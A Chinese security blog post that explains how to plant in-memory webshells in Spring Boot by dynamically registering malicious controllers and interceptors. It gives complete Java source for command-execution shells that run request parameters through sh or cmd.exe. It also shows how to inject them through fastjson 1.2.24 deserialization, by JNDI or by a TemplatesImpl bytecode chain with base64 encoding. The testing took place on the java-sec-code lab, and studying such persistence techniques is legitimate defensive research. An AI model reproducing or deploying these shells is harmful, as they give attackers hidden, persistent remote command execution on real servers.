Spring内存码
依然不会配环境orz,干脆直接拿以前那个java-sec-code了,springboot版本2.1.5.RELEASE
spring内存码基础的有controller型和interceptor型,两个组件都可以动态添加,注入思路和以前一样,所以先看初始化的流程
一、Controller型
controller作用是接收特定参数,与@RequestMapping
、@GetMapping
、@PostMapping
结合让spring明白一个url请求应该送到哪里处理
1.1 controller初始化
要想动态添加组件先看这个组件怎么存的,所以直接省流,一个controller(对应url为/classloader)在spring中存储如下,关注MappingRegistry。初始化从DispatcherServlet#getHandler开始,过程就不贴了,断点下在AbstractHandlermethodmapping$MappingRegistry#getMappingByUrl比较方便
核心在AbstractHandlerMethodMapping$MappingRegistry,里面有四个hashmap来记录所有controller
MappingRegistry可以通过register方法登记一个controller
register方法的三个参数:mapping是个RequestMappingInfo对象,记录映射关系,handler是Controller那个类的对象,method是反射获取的方法
正常来讲是通过AbstractHandlerMethodMapping$MappingRegistry#registerHandlerMethod进入register的,不过还有一个长得一样的registerMapping也行
AbstractHandlerMethodMapping是抽象类,实现了它的子类才可以调用registerHandlerMethod方法,RequestMappingHandlerMapping
Spring里通过@controller注册COntroller靠的就是RequestMappingHandlerMapping映射器,老版本spring(2.5-3.1)使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
1.2 构造思路
与tomcat里StandardContext对应,spring有WebApplicationContext,且这个context继承了BeanFactory,能直接context.getBean(RequestMappingHandlerMapping.class)获取RequestMappingHandlerMapping
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;
@RestController
public class ControllerShell {
public class Controller{
public void shell() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
}
}
@GetMapping("/inject")
public void injectShell() throws NoSuchMethodException {
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);
RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
null,null,null,null,null);
Controller controller = new Controller();
Method method = Controller.class.getMethod("shell");
rm.registerMapping(info, controller, method);
}
}
先访问/inject注入,再访问/shell?cmd=dir就行了。但这仅仅是测试时的方式。。添加一个/inject的contoller用于注入恶意controller,有点多此一举的感觉。。实际应用还是要通过代码执行注入,比如fastjson
二、Interceptor型
spring的interceptor和tomcat的fitlter很像,前者偏日志记录,后者偏过滤
新建InterceptorTest,所有自定义的interceptor都要实现HandlerInterceptor接口
package org.joychou;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@Component("InterceptorTest")
public class InterceptorTest implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle执行了....");
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("postHandle执行了...");
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterCompletion执行了....");
}
}
在WebConfig里登记InterceptorTest
@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig
public class WebConfig extends WebMvcConfigurerAdapter {
private InterceptorTest interceptorTest = new InterceptorTest();
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(interceptorTest);
}
}
2.1 Interceptor初始化
流程直接看图
很容易找到interceptor存储位置,是HandlerInterceptor的interceptors
往回找到AbstractHandlerMappig#getHandlerExecutionChain,发现interceptors源于adaptedInterceptors,chain.addInterceptor会从adaptedInterceptors里取出interceptor给interceptors赋值
adaptedInterceptors是私有属性,用add方法可以添加
2.2 构造思路
从理论上来讲有两步,恶意interceptor和手动把恶意interceptor加进adaptedInterceptors
恶意interceptor,41和46行的super可以防止编译报错
package com.test.happysb;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
}
p.redirectErrorStream(true);
Process process = p.start();
BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream()));
String result = r.readLine();
System.out.println(result);
writer.println(result);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
添加到adaptedInterceptors
// 和前面一样的方法获取RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);
// 反射获取adaptInterceptors
Filed f = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
adaptInterceptors = (List<HandlerInterceptor>) f.get(rm);
三、fastjson注入内存码
fastjson是个很好的执行代码的方式,靶场里正好自带了个1.2.24的fastjson入口,payload可以直接用以前fastjson那篇里的
由于这个靶场为了包含shiro还有个登陆的功能,所以每次重启服务都要获取新的cookie,就很折磨,有条件还是自己配环境吧
3.1 jndi注入
改了下上面的controller码,当触发fastjson反序列化时实例化ControllerShell,触发构造方法里的代码注入内置类Controller
package org.joychou.shell;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;
public class ControllerShell {
public class Controller{
public void shell() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
}
}
public ControllerShell() throws NoSuchMethodException {
super();
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);
RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
null,null,null,null,null);
Controller controller = new Controller();
Method method = Controller.class.getMethod("shell");
rm.registerMapping(info, controller, method);
}
}
content-type改成application/json,不然会url编码导致不能正常parseObject
3.2 TemplatesImpl链
如果把处理逻辑改成JSON.parseObject(params, Feature.SupportNonPublicField)
还可以通过字节码加载,ControllerShell在上面的基础上额外实现AbstractTranslet用于TemplatesImpl加载字节码
package org.joychou.shell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;
public class ControllerShell extends AbstractTranslet {
public class Controller{
public void shell() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
}
}
public ControllerShell() throws NoSuchMethodException {
super();
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);
RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
null,null,null,null,null);
Controller controller = new Controller();
Method method = Controller.class.getMethod("shell");
rm.registerMapping(info, controller, method);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意当用javassist获得ControllerShell的字节码时,javassist会忽视掉内部类Controller
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("org.joychou.shell.ControllerShell");
byte[] b = cc.toBytecode();
byte[] encode = Base64.getEncoder().encode(b);
String encodeStr = new String(encode);
System.out.println("========================================================");
System.out.println(encodeStr);
System.out.println("========================================================");
解决方法有很多,干脆就先编译成.class再base64,或者用网上这种不用内部类的方法
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class TemplatesImplSpringController extends AbstractTranslet {
public TemplatesImplSpringController() throws Exception{
super();
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Method method2 = TemplatesImplSpringController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
mappingHandlerMapping.registerMapping(info, inject, method2);
}
public TemplatesImplSpringController(String aaa) {
}
public void test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
四、tomcat内存码打spring
https://blog.z3ratu1.top/Java内存马缝合笔记.html
由于spring内置tomcat,tomcat的码理应也能打spring,但模仿着缝一下并没有成功,debug过程非常痛苦,测试时正向加载是正常的,不知道反序列化反向加载filter时哪里出错,留个坑吧orz
参考
https://xz.aliyun.com/t/12047#toc-6
标签:web,Spring,new,springframework,内存,import,org,servlet From: https://www.cnblogs.com/carama1/p/17600677.html